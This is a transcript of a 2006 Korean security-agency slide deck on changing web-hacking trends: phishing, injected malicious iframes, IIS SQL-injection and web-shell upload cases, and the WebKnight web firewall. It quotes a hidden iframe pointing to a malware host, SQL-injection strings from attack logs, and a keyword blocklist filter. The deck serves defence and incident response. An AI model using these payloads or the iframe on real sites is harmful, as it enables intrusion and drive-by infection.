웹 해킹의 변화와 보안대책

20
웹 웹웹웹 웹웹웹 웹웹웹웹 2006. 4. 정정정 [email protected]

Upload: chico

Post on 11-Feb-2016

121 views

Category:

Documents


0 download

DESCRIPTION

웹 해킹의 변화와 보안대책. 2006. 4. 정현철 [email protected]. 목 차. 웹 해킹의 변화 최근 웹 해킹 수법 IIS 웹서버 해킹 사례 IIS 용 공개 웹 방화벽 (WebKnight) 향후 홈페이지 해킹 전망. 웹 해킹의 변화. 이라크戰 3 주년 ' 중동發 해킹주의보 ‘ 이슬람 해킹그룹 " 한국 사이트 공격 “ 이슬람 해커 ' 비상 '.. 주요 국가기관 잇딴 해킹. 정치적 목적 (Hacktivism). 호기심 / 자기과시. 금전적 목적. 피해자인가 ? 가해자인가 ?. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: 웹 해킹의 변화와 보안대책

웹 해킹의 변화와 보안대책2006. 4.

정현철[email protected]

Page 2: 웹 해킹의 변화와 보안대책

-2-

웹 해킹의 변화웹 해킹의 변화

최근 웹 해킹 수법최근 웹 해킹 수법

IIS IIS 웹서버 해킹 사례웹서버 해킹 사례

IISIIS 용 공개 웹 방화벽용 공개 웹 방화벽 (WebKnight)(WebKnight)

향후 홈페이지 해킹 전망향후 홈페이지 해킹 전망

목 차

Page 3: 웹 해킹의 변화와 보안대책

-3-

웹 해킹의 변화

이라크戰 3 주년 ' 중동發 해킹주의보‘이슬람 해킹그룹 " 한국 사이트 공격“

이슬람 해커 ' 비상 '.. 주요 국가기관 잇딴 해킹

호기심 / 자기과시

정치적 목적 (Hacktivism)

금전적 목적

Page 4: 웹 해킹의 변화와 보안대책

-4-

피해자인가 ? 가해자인가 ?

최근 해킹은 단순 피해로 끝나지 않고 , 범죄수단으로 악용 !!

홈페이지 방문 고객 감염금융사기에 악용고객 DB 유출

프로그램 소스 유출…

Page 5: 웹 해킹의 변화와 보안대책

-5-

발신자 위조

하이퍼링크 위조

스크립트를 이용한주소창 위조

유사 도메인 사용유사 유사 : http://www.us-bank.com: http://www.us-bank.com 정상 : http://www.usbank.com

최근 웹 해킹 수법 - 개인정보 낚는 피싱 (Phishing)

피싱 공격 기법피싱 공격 기법

Page 6: 웹 해킹의 변화와 보안대책

-6-

피싱으로 인한 금융정보 유출피싱으로 인한 금융정보 유출

최근 웹 해킹 수법 - 개인정보 낚는 피싱 (Phishing)

Page 7: 웹 해킹의 변화와 보안대책

-7-

△ △ 은행 도메인 주소와 유사 도메인 주소를 개설하여 고객 로그인 정보 유출 시도△△ 은행 위장 사이트를 통한 로그인정보 유출 (’05. 8.)

최근 웹 해킹 수법 - 개인정보 낚는 피싱 (Phishing)

Page 8: 웹 해킹의 변화와 보안대책

-8-

Re-direction to Mal. Code Site

Mal. Code Download

Mal. Code Detect and

Wipeout KISA

MCFinder

InternetInjected

Using Escape Code

Sequence

<iframe src="http://web2.xxx.xx.cn/~mseweb/jz.htm" name="zhu" width="0" height="0" frameborder="0"></iframe> <embed src="images/intro.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="780" height="188"></embed></object></td> Iframe Injection

최근 웹 해킹 수법 - 악성 CODE 은닉

Mal. Code Injection

Injected in HTTP 404

Error Message

Injected using Java Script Tag

Intermediate Server Script

File

Page 9: 웹 해킹의 변화와 보안대책

-9-

용도 : 스캔 , SQL Injection, Cmd.exe 실행 용도 : ASP, PHP 자동 주입도구

용도 : 파일 업로드 도구 용도 : 원격제어 도구

최근 웹 해킹 수법 - 중국 해킹도구

Page 10: 웹 해킹의 변화와 보안대책

-10-

최근 웹 해킹 수법 - 중국 해킹 동영상

Page 11: 웹 해킹의 변화와 보안대책

-11-

IIS 웹서버 해킹 사례 – 악성코드 경유지 사이트 (SQL Injection)

2005-06-11 17:23:02 xxx.xxx.xxx.xxx - victim_IP 80 GET /announce/new_detail.asp id=529|27|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server] Unclosed_quotation_mark_before_the_character_string_. 500 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.2;+SV1;+.NET+CLR+1.1.4322)2005-06-11 17:23:34 xxx.xxx.xxx.xxx - victim_IP 80 GET /announce/new_detail.asp id=529;DELETE%20bb;Insert%20bb%20exec%20master..xp_dirtree%20C:\,1,1– 200 Microsoft+URL+Control+-+6.00.8862

IIS 웹 로그 ( 공격 흔적 )

<iframe src ="http://www.xxx.xx.xx/123/123/index.htm" name ="A" width="0" frameborder="0">

Index.html 파일

Page 12: 웹 해킹의 변화와 보안대책

-12-

<%@ Language=VBScript %><%Function addFilter(str)

Dim strSearch(12), strReplace(12), cnt, data

// 필터링 문자열 – 사이트별로 커스터마이징 필요strSearch(0)="'"strSearch(1)=";"strSearch(2)="#"strSearch(3)="--"strSearch(4)="select"strSearch(5)="update"strSearch(6)="insert"strSearch(7)="delete"strSearch(8)="union"strSearch(9)="exec"strSearch(10)="sp_"strSearch(11)="xp_"

// 필터링 문자열 – 사이트별로 커스터마이징 필요strReplace(0)="''"strReplace(1)=";;"strReplace(2)="#"strReplace(3)=""strReplace(4)=""strReplace(5)=""strReplace(6)=""strReplace(7)=""strReplace(8)=""strReplace(9)=""strReplace(10)=""strReplace(11)=""

data = strFor cnt = 0 to 11 data = replace(data, LCASE(strSearch(cnt)), strReplace(cnt)) NextaddFilter = data

End Function%>

library/secure.inc.asp

<%@ Language=VBScript %><!--#include file="library/secure.inc.asp"--><%

dim num,join_id,join_pin,url,point,updatesql

h_url = Request("h_url")

// 인자의 입력값에 필터링 적용join_id = addFilter(Request("join_id"))join_pin = addFilter(Request("join_pin"))

사용법

각 웹 공격별 보안 템플릿 보급 예정 : ’06. 6.

IIS 웹서버 해킹 사례 – 악성코드 경유지 사이트 (SQL Injection)

Page 13: 웹 해킹의 변화와 보안대책

-13-

2005-08-01 02:37:03 xxx.173.159.175 - victim_IP 80 POST /xxx/xpds/data/svnge.asa - 302 2005-08-01 02:37:05 xxx.173.159.175 - victim_IP 80 GET /xxx/xpds/data/svnge.asa - 200 2005-08-01 02:37:05 xxx.173.159.175 - victim_IP 80 GET /xxx/xpds/data/svnge.asa Action=MainMenu 200 2005-08-01 02:37:08 xxx.173.159.175 - victim_IP 80 GET /xxx/xpds/data/svnge.asa Action=ShowFile 200

Svng.asa

< 해킹프로그램 업로드 > < 웹 쉘 실행 및 악성코드 설치 >

IIS 웹서버 해킹 사례 – 악성코드 유포지 사이트 ( 업로드 공격 )

업로드되는 첨부파일 확장자 미 필터링파일 업로드되는 경로 확인 가능업로드되는 폴더에서 실행 권한 부여

공격에 사용된 취약점

해킹 프로그램 업로드 및 실행 흔적

34 시간 동안 1 천여명악성코드 (icyfox.js) 에 접근

Page 14: 웹 해킹의 변화와 보안대책

-14-

IIS 웹서버 해킹 사례 – Zero-Day 공격에 악용

미국 , 대만 , 한국 등 전세계 정부기관 및 민간기업 대상 1 만여명에게 발송

※ 메일서버는 Open Relay 블랙리스트 등록되어 있었음

웹서버를 이용한 제로데이공격웹서버를 이용한 제로데이공격

메일 서버를 이용한 제로데이공격메일 서버를 이용한 제로데이공격

Page 15: 웹 해킹의 변화와 보안대책

-15-

IIS 용 공개 Web 방화벽 (WebKnight)

낮은 보유 비용 (Total Cost of Ownership) 운영 중 업데이트 가능

- 성능상의 이유로 매 1 분마다 이러한 변경을 탐지하여 적용한다 . SSL 보호 (protection)

- ISAPI 형태로 IIS 의 일부로 동작하므로 HTTPS 상에서도 모니터링 및 차단할 수 있다 . Logging

- 로깅 전용 모드로 운영할 경우 웹공격 탐지를 위한 IDS 처럼 활용 가능하다 . 웹기반 애플리케이션과의 호환성

- Frontpage Extensions, WebDAV, Flash 등과도 호환이 잘 이루어진다 .

특 징

안전한 웹 프로그래밍 vs 웹 방화벽 - 기본적으로 안전한 웹 프로그래밍이 우선 - 하지만 , 이미 구축된 웹 사이트의 경우 수정이 쉽지 않아 웹 방화벽 도입 검토 필요

상용웹방화벽 vs 공개 웹방화벽 - 상용제품에 비해 기능 , 설치 / 운용의 편의성 , 향후 기술지원은 다소 부족함 - 하지만 , 웹보안을 위한 SQL Injection 차단 등 기본적인 보안기능은 갖추고 있음 - 대부분의 해킹이 상용제품 구매 능력이 없는 중소기업에서 발생되고 있으며 , 기본적인 보안조치가 부족하기 때문에 공개 웹 방화벽 도입 검토 필요

고려사항

WebKnight 는 AQTRONIX사 (http://www.aqtronix.com/) 에서 개발한 IIS 웹 서버에설치할 수 있는 공개용 웹 방화벽

Page 16: 웹 해킹의 변화와 보안대책

-16-

Incident Response Handling : 공격 발생시 WebKnight 가 어떻게 행동할지를 결정 ( 경고화면 , 차단 , 로그 ) Logging : 로깅 여부 , 로그 시간대 , 로그 항목 (클라이언트 IP, 사용자 명 등 ) 등을 설정 Request Limits : 컨텐츠 길이 , URL 길이 , 쿼리스트링 길이 등을 제한 URL Scanning : URL Encoding 공격 차단 , 상위 패스 (..) 차단 , URL 백슬래쉬 (\) 차단 등 Mapped Path : 로컬 파일시스템의 허용하는 경로 정의 Requested File : 차단시킬 파일 목록과 차단 허용할 파일 확장자 정의 ․Methods : 허용 또는 차단할 Method 를 결정 ( 예 : GET, HEAD, POST 은 허용 , DELETE, PUT 등은 차단 ) Querystring : 특정 query 스트링 (xp_cmdshell, cmd.exe 등 ) 차단 등 설정 SQL Injection : SQL Injection 공격에 이용되는 키워드 정의 (‘ ; select insert xp_ 등 ) Web Applications : WebDAV, IISADMPWD 등 웹애플리케이션의 허용유무 결정

주요 기능IIS 용 공개 Web 방화벽 (WebKnight)

Page 17: 웹 해킹의 변화와 보안대책

-17-

1. 설치 (WebKnight.msi)2. ISAPI 필터로 동작

3. Rule 설정 (config.exe)

IIS 용 공개 Web 방화벽 (WebKnight)

Page 18: 웹 해킹의 변화와 보안대책

-18-

해킹 성공화면

설치 이후 생성 로그

06:13:40 ; W3SVC31 ; OnPreprocHeaders ; xxx.xxx.151.24 ; ; GET ; /west/newsvieww.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20''=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD06:13:40 ; W3SVC31 ; OnPreprocHeaders ;xxx.xxx.151.24 ; ; GET ; /west/newsvieww.asp ; id=37%25'%20and%20user%2Bchar(124)=0%20and%20'%25'=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ; ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD

해 당 웹 서 버 가 SQL Injection 공격에 취약하여 공격툴에 의해 DB 접 근 이 가 능 하고 DB 계 정 및 테이블이 노출되고 있는 화면

SQL Injection 공격 이외에도 취약한 CGI 공격 , 디렉토리 traversal 공격 등 다양한 웹 공격에 대하여 차단 실시

공격 Tool

공격 Tool

IIS 용 공개 Web 방화벽 (WebKnight)

참조 : www.krcert.or.kr 보안문서 -> 기술문서 (TR2006003)

Page 19: 웹 해킹의 변화와 보안대책

-19-

향후 홈페이지 해킹 전망 안전한 개인의 금융정보를 노린 홈페이지 해킹이 증가

- 게임정보 → 포털 정보 → 금융정보 ?

국내 은행이나 전자상거래 사이트를 위장한 피싱사고 증가 - '05 년 국내 은행 사칭 사고 발생

Mysql, Oracle 등 다양한 종류의 DB 를 대상으로 한 공격 - SQL Injection 은 모든 DB 에 적용

사회공학적인 방법을 이용한 개인 PC 감염 사례 증가 - 홈페이지 해킹 후 MS 플래시 , MS 비주얼 스튜디오 등으로 위장하여 사용자를 속여 악성코드를 설치

Page 20: 웹 해킹의 변화와 보안대책

-20-

감사합니다http://www.krcert.or.kr